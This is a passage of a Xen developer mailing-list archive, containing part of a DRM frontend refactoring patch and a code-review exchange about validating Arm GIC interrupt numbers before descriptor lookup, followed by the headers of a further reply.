+static void xen_drm_plane_helper_atomic_update(struct drm_plane *plane,
+					       struct drm_atomic_commit *commit)
 {
-	struct xen_drm_front_drm_pipeline *pipeline =
-			to_xen_drm_pipeline(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
+	struct drm_plane_state *old_plane_state = drm_atomic_get_old_plane_state(commit, plane);
+	struct xen_drm_front_drm_pipeline *pipeline = xen_drm_pipeline_from_plane(plane);
+	struct drm_crtc *crtc = &pipeline->crtc;
 	struct drm_pending_vblank_event *event;
 	int idx;
 
@@ -265,7 +284,7 @@ static void display_update(struct drm_simple_display_pipe *pipe,
 		spin_unlock_irqrestore(&dev->event_lock, flags);
 	}
 
-	if (!drm_dev_enter(pipe->crtc.dev, &idx)) {
+	if (!drm_dev_enter(crtc->dev, &idx)) {
 		send_pending_event(pipeline);
 		return;
 	}
@@ -278,19 +297,17 @@ static void display_update(struct drm_simple_display_pipe *pipe,
 	 * If this is not a page flip, e.g. no flip done event from the backend
 	 * is expected, then send now.
 	 */
-	if (!display_send_page_flip(pipe, old_plane_state))
+	if (!display_send_page_flip(pipeline, commit, old_plane_state))
 		send_pending_event(pipeline);
 
 	drm_dev_exit(idx);
 }
 
 static enum drm_mode_status
-display_mode_valid(struct drm_simple_display_pipe *pipe,
-		   const struct drm_display_mode *mode)
+xen_drm_crtc_helper_mode_valid(struct drm_crtc *crtc,
+			       const struct drm_display_mode *mode)
 {
-	struct xen_drm_front_drm_pipeline *pipeline =
-			container_of(pipe, struct xen_drm_front_drm_pipeline,
-				     pipe);
+	struct xen_drm_front_drm_pipeline *pipeline = xen_drm_pipeline_from_crtc(crtc);
 
 	if (mode->hdisplay != pipeline->width)
 		return MODE_ERROR;
@@ -301,12 +318,53 @@ display_mode_valid(struct drm_simple_display_pipe *pipe,
 	return MODE_OK;
 }
 
-static const struct drm_simple_display_pipe_funcs display_funcs = {
-	.mode_valid = display_mode_valid,
-	.enable = display_enable,
-	.disable = display_disable,
-	.check = display_check,
-	.update = display_update,
+static int xen_drm_crtc_helper_atomic_check(struct drm_crtc *crtc, struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static const struct drm_plane_helper_funcs display_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= xen_drm_plane_helper_atomic_check,
+	.atomic_update	= xen_drm_plane_helper_atomic_update,
+};
+
+static const struct drm_plane_funcs display_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static const struct drm_crtc_helper_funcs display_crtc_helper_funcs = {
+	.mode_valid	= xen_drm_crtc_helper_mode_valid,
+	.atomic_check	= xen_drm_crtc_helper_atomic_check,
+	.atomic_enable	= xen_drm_crtc_helper_atomic_enable,
+	.atomic_disable	= xen_drm_crtc_helper_atomic_disable,
+};
+
+static const struct drm_crtc_funcs display_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_encoder_funcs display_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static int display_pipe_init(struct xen_drm_front_drm_info *drm_info,
@@ -331,10 +389,37 @@ static int display_pipe_init(struct xen_drm_front_drm_info *drm_info,
 
 	formats = xen_drm_front_conn_get_formats(&format_count);
 
-	return drm_simple_display_pipe_init(dev, &pipeline->pipe,
-					    &display_funcs, formats,
-					    format_count, NULL,
-					    &pipeline->conn);
+	ret = drm_universal_plane_init(dev, &pipeline->plane, 0,
+				       &display_plane_funcs,
+				       formats, format_count,
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+
+	drm_plane_helper_add(&pipeline->plane, &display_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(dev, &pipeline->crtc,
+					&pipeline->plane, NULL,
+					&display_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+
+	drm_crtc_helper_add(&pipeline->crtc, &display_crtc_helper_funcs);
+
+	ret = drm_encoder_init(dev, &pipeline->encoder,
+			       &display_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+
+	pipeline->encoder.possible_crtcs = drm_crtc_mask(&pipeline->crtc);
+
+	ret = drm_connector_attach_encoder(&pipeline->conn, &pipeline->encoder);
+	if (ret)
+		return ret;
+
+	return 0;
 }
 
 int xen_drm_front_kms_init(struct xen_drm_front_drm_info *drm_info)

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:20:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:20:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363664.1615219 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkIGW-00012D-U6; Thu, 16 Jul 2026 09:20:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363664.1615219; Thu, 16 Jul 2026 09:20:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkIGW-000126-QY; Thu, 16 Jul 2026 09:20:24 +0000
Received: by outflank-mailman (input) for mailman id 1363664;
 Thu, 16 Jul 2026 09:20:24 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wkIGV-000120-UY
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:20:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkIGV-00G5aG-0f
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:20:23 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a58a24b-5cb7-0a2a0a5109dd-0a2a4507825e-16
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:20:22 +0200
Received: from [52.101.43.55]
 (helo=SJ2PR03CU001.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a58a254-b4ea-0a2a45070019-34652b377641-4
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:20:22 +0200
Received: from BY5PR03CA0015.namprd03.prod.outlook.com (2603:10b6:a03:1e0::25)
 by DSWPR12MB999178.namprd12.prod.outlook.com (2603:10b6:8:36f::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.18; Thu, 16 Jul
 2026 09:20:14 +0000
Received: from BY1PEPF0001AE1D.namprd04.prod.outlook.com
 (2603:10b6:a03:1e0:cafe::53) by BY5PR03CA0015.outlook.office365.com
 (2603:10b6:a03:1e0::25) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.12 via Frontend Transport; Thu,
 16 Jul 2026 09:20:14 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 BY1PEPF0001AE1D.mail.protection.outlook.com (10.167.242.106) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.245.5 via Frontend Transport; Thu, 16 Jul 2026 09:20:13 +0000
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 16 Jul
 2026 04:20:10 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Thu, 16 Jul 2026 04:20:09 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=QxrRZ02YHJAMnxIBFaEcN8CN2ohsC/VFfAPx6pKPanlKdGfYIpqRWv89AdFT+P9lzUZ58fnUdgRis+5uXsNnqtrT1Xw2OKVLr3LpQiAiwVY8qcn1MjUsGoCpbXnA6G79zBW09b1JI8ZMM5O45PEWmwcR/2+UX42+fO8DN9Wzouumxgy9NgbpJaScsFBC/D6/+LkNXv9tCVjadhH6+i4QQO//6u3nhML85T4Rza07YmvTylWdUkE3xH+TV8n2ZjMHnjIpR33FraKKAUyL845mBbjd80W6r93yvw+JSCYZWZgJHENSEALoNU8iqUzm/qOf6vmzVYMGvhZUTbBWZYrtLA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=08/5St+qZY9PNHyHaWFHkwKnfSizJCt+ykJ+E4bi8z0=;
 b=QqKIML5aAN5cZAROpWF76iMb+jFyE3R+TjUIYFdAgObUd9zgYW//9fHaIj9xmB4nNPBJ6yOtFG2O+qBIrgUKcUW3AbJpy54rDSRRytxiJ8ZJ1TF8laY4dIRsiRPjK4OUkJRMB5N1ya/aHnEWGpIt2D4rJRPHOAWB7YDXXs/uMCEtu5d2Tk1JyqaBQuhsxm2uigOhcZXj7sQ0SnUDyweICospHzNJGTn5sDA3aIptC3Ze9iBS0O32iTtA8Pfi+J3ZzVa2l9Z/QrHOUMd6BIBlnCrde8u+NiiqRq1Dy9V1fhbmFYuHdRwwjhseLzgnFZ8VjUerGdufnGnKdXNSku/1Hg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=08/5St+qZY9PNHyHaWFHkwKnfSizJCt+ykJ+E4bi8z0=;
 b=VQbQyqbBH9bV9VLcTVnq9vZHhPOePHLeArLB7uByBA8MqLAu8H2/ND8Zgoa1TlQEnd5zfaVV2TuBwf31CwEQfNg2h9MIrSlHm+dY9DNFYmbjVt6fUn2GfYv71XYERSW8L9XsRhz3xqVaI6/T87kQ6sFMHwWoqLMicF8xZhMgZL4=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <6b345ba2-d31d-4317-ab79-aa64267ab283@amd.com>
Date: Thu, 16 Jul 2026 11:20:08 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22 1/2] xen/arm: validate IRQs before descriptor
 lookup
To: <xen-devel@lists.xenproject.org>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
References: <cover.1783671887.git.mykola_kvach@epam.com>
 <1843da2e028635773638ef73ed10907c7ae7bb53.1783671887.git.mykola_kvach@epam.com>
 <e6468083-f901-4a1e-94d5-d347068fabf0@amd.com>
 <5gpmoe7cng53rxtxmldvjwe3dnbenoji6anyqy4uxado354hfp@tkdo7pmufaor>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <5gpmoe7cng53rxtxmldvjwe3dnbenoji6anyqy4uxado354hfp@tkdo7pmufaor>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BY1PEPF0001AE1D:EE_|DSWPR12MB999178:EE_
X-MS-Office365-Filtering-Correlation-Id: 7bc13e8a-e49b-417e-b3db-08dee31b7156
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|376014|36860700016|23010399003|82310400026|4143699003|10067099003|56012099006|11063799006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	lMOIqH550rBe9I6YpVJhFvBtvWCdywHPA/0kTHsR4BvrDxvfNlK0GlTCa+Cynyn15sFXHE8v2Qr8SgtZnf9Q2A9d3RmoWFgjSqJW1drVpJ65vnbccapICbqfy8KSnBTBKRP9WChaiiraAunq2Ketv5zBu+9NY4EnkFv5J/wbkWqNIbtYIs/y01g4Rx+JWd9Di9e6IeLoHr6rkJkb77qpubjHlNDUyFUenWPh7Vzx9OtoAbC7QYLUWPDmE4QfDADcNsb6mKDo5GdwaOu0On6kjfFGv3EN2ag2NlbIP7D4BkHdRvl4eqvxXR/1YNb2SetGfUZwweTL5e/h/n2VBrHMeVzhjYx0WoEoGJ6VSRwrZQ4koATVzcwEqQQQTBYCfpRr5O6KHtxYZia9+r7mdDE6LG/iYhVtAgAaxhMclD8uGXIGjQIe9bDWW7rGCwWTDfxZmcI7d8NUKROExCGmBunG+R1A1NIGvdOtYJts+YHL/YB5DYeYfutbc8NC5PrtXJGecaAhB7S6VdqmNYgmblctQlk6rddtpg0Ba+tXlB59kX1E2fM8iDjFpCQS+tgL2irp+QMTiHjV0xjU5QoGVD6NTiCMiMO55SP0q1cP3ljYWa5wPNLGv16/ndjgKUIh1pvG2hGEsxV6KZKHpU/lh87vcGTunH/6m49Y5xmSu36VQa69ADdLZGZ7mDkAlzGCPzYRHjHBouIyIv/wG+puTM5m/w==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(1800799024)(376014)(36860700016)(23010399003)(82310400026)(4143699003)(10067099003)(56012099006)(11063799006)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	ruXCt1L0RlDmV/4ihpTw66ZH/Ri3DYGAXIqQ3mZrJl8iwV8unYEIUNpbmFgRZSGCy7fiwhEgjrttwbREPswp4UulXN4c7ouyfD2+P3SUXaiqpERa4BdnsAbfV0fZ+IeKwsVfEnBYcatZZl8nJDDESofYsC2wtqNnVrEXqHqnPbyPJX4arrOUv3FDL2lJz3RUpuQwTy4/G4kQWyrIgL3kuafXhYyYkHB0sxCfSfDpreC4/pASCQ+M1NQaz/Y7UazI7H2jQC0g4p3ORE1TwMInwEGBwyNIGcDtdH/34p2kVOwRQ0mjqnWVfDDiNb5Xcp8YcUuW+5oblSsTGDPNBb06kBHm2LQSkX6zxrLrrPBtL1gkSW3ng9b6Zb5BSHGUGo3GTbDAKZeJyybwk91Ejf7RjQyxRII5SJu1G5hT6ppXUuLw6ckJsfBvB7oZSi7+dhM6
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 16 Jul 2026 09:20:13.7043
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 7bc13e8a-e49b-417e-b3db-08dee31b7156
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BY1PEPF0001AE1D.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DSWPR12MB999178
X-purgate-ID: tlsNG-ef75cf/1784193622-A4ECEAE4-5F08A689/0/0
X-purgate-type: clean
X-purgate-size: 2651



On 10-Jul-26 13:14, Mykola Kvach wrote:
> Hi Michal,
> 
> Thank you for the review.
> 
> On Fri, Jul 10, 2026 at 12:10:50PM +0200, Orzel, Michal wrote:
>>
>>
>> On 10-Jul-26 10:31, Mykola Kvach wrote:
>>> With GICv3 eSPI support, nr_irqs covers the architectural INTID
>>> namespace up to ESPI_MAX_INTID. That namespace is not backed by a
>>> single dense irq_desc[] array: regular SPIs use irq_desc[], eSPIs use
>>> espi_desc[], and the INTIDs in between must not be treated as
>>> descriptor indices.
>>>
>>> A firmware-provided interrupt in the sparse range can therefore pass
>>> checks based only on nr_irqs and reach irq_to_desc().
>> What are the possible consequences? You should explain it in the commit msg.
>> Also, what is your criteria behind protecting irq_to_desc()? There are other
>> places, where we have unprotected irq_to_desc(). Last but not least I think we
>> should have an ASSERT in __irq_to_desc() to prevent the indexing failure if we
>> end up there with a sparse IRQ accidentally.
> 
> I reproduced this on FVP by adding a fake DT interrupt with reserved
> INTID 3000. This was deliberately malformed fault injection. The only
> architecturally allocated interrupt class in the 1024-4095 gap is ePPI,
> which Xen does not currently support. The resulting out-of-bounds access
> to irq_desc[] may corrupt Xen memory or crash the hypervisor.
> 
> There is also a non-synthetic case with CONFIG_GICV3_ESPI=n. An
> architecturally valid eSPI described in DT reaches:
> 
>     platform_get_irq() -> irq_set_type() -> irq_set_spi_type()
> 
> Previously, irq_to_desc() was called before validation, while no
> espi_desc[] was compiled in. Moving the lookup after gic_is_spi() makes
> Xen reject the interrupt with -EINVAL instead.
It does not make much sense to me that is_espi() is protected in
__irq_to_desc(). I know this is because there is no espi_to_desc() if eSPI is
compiled out but providing a stub is easy. This causes the useful ASSERT inside
it to be unreachable. If is_espi() was meant to be called only under #ifdef, it
would not have the ASSERT and would not include #ifdef inside it. If we allowed
for that ASSERT, then ...

> 
> My criterion is to validate externally supplied IRQs at entry points
> which can return an error. The remaining callers use fixed,
> GIC-reported, or previously validated IRQs.
> 
> I will also add:
> 
>     ASSERT(irq < NR_IRQS);
... we would not need this one (the eSPI would also be more meaningful).

Given that we postponed the release, I'd be ok to take this series in,
provided it's in a correct shape.

~Michal



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:23:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:23:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363675.1615227 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkIJS-0001cP-Cj; Thu, 16 Jul 2026 09:23:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363675.1615227; Thu, 16 Jul 2026 09:23:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkIJS-0001cI-9v; Thu, 16 Jul 2026 09:23:26 +0000
Received: by outflank-mailman (input) for mailman id 1363675;
 Thu, 16 Jul 2026 09:23:25 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a3cd8ee000edb5@swg.vates.tech>)
 id 1wkIJQ-0001cA-TJ
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:23:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkIJQ-00DYyt-9g
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:23:24 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a3cd8ee000edb5@swg.vates.tech>)
 id 6a58a305-bab6-0a2a0a5309dd-0a2a450c8736-20
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:23:24 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6a3cd8ee000edb5@swg.vates.tech>)
 id 6a58a30b-f479-0a2a450c0019-b9ff1c22a735-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:23:24 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6a3cd8ee000edb5.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 16 Jul 2026 09:23:20 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id A4BAB80400;
 Thu, 16 Jul 2026 11:23:19 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=WJUJepoYbMUT5NX2URHoA5PGDZCR86MpN0/VVwzXTlE=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=lu0VShF3QtQzzqtn1yxjpd1+7QyPVYxtw8KjLqkbv9+NYF6MBPlStica0SgbzGqKti3CACrhl
 dNBDdHVdYlbHNiX6uuRtsqVMeZxmzL/XC+TIo6NHkel7I53ZnkrqQegQsF6tO10VVaQRjQMH/o+
 FBMODm4SctkPWqJkaSQd6uLOFbs+q+7Sk4bTfShlFrBG2yxXlzkT7RpvJb+iKFBou5kYMU+PFKr
 omJTvEAPbnXeEaSmXweW5jRTQbDOLcotrY27cd7nuePkwkwKzuHBmZH99EBIe3D0unM0vfjV374
 sPkBHi3Z6es5x6GruQj4CvVbrYdTypsrc5rfV1FsZnrw==
X-Zone-Loop: a58b14e11b13d561f30b868cb072109d78e80d988883
x-campaign-type: default
x-transaction-id: 9f6700cc-4a11-47c2-b660-c448e5f4d96f
x-swg-uid: 01-860a0f5f-d950-40a1-a5a7-e4c62d0e386e
X-Mailer: Sweego
Message-ID:
 <1784193800.8631fc262581453bbf619ec5b2062170.19f6a3cd8ee000edb5@vates.tech>
x-swg-bid: 1784193800.8631fc262581453bbf619ec5b2062170.19f6a3cd8ee000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Thu, 16 Jul 2026 11:23:18 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 1/4] xen/console: use bool as return value from
 printk_ratelimit()
To: dmukhin@ford.com, xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
 julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
 sstabellini@kernel.org
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-2-dmukhin@ford.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSR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/ExTjjGVHoX7CVhWxvCiTqCUoXZRkUE9C3FnkzEFRkKb
 Yu6NCfiHfEyB3Xyg9hfdrRgjMRq907zCof+nDtWxGz1MSEuvTj1g9GZ049Bennqzjc/Q+0ov
 XoK4jm+Py0FiUGUaA6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/
 eVtR2Q1wZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
 IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWjmoACGwwA
 CgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiVoUiHYN5QwhnbZnsa
 JDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <20260715201902.2984407-2-dmukhin@ford.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------DpM3Pzucz8cW7nRnUf8QBy4e"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784193799886
X-purgate-ID: tlsNG-d25034/1784193804-026DEA5B-AE2552F4/0/0
X-purgate-type: clean
X-purgate-size: 5392

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------DpM3Pzucz8cW7nRnUf8QBy4e
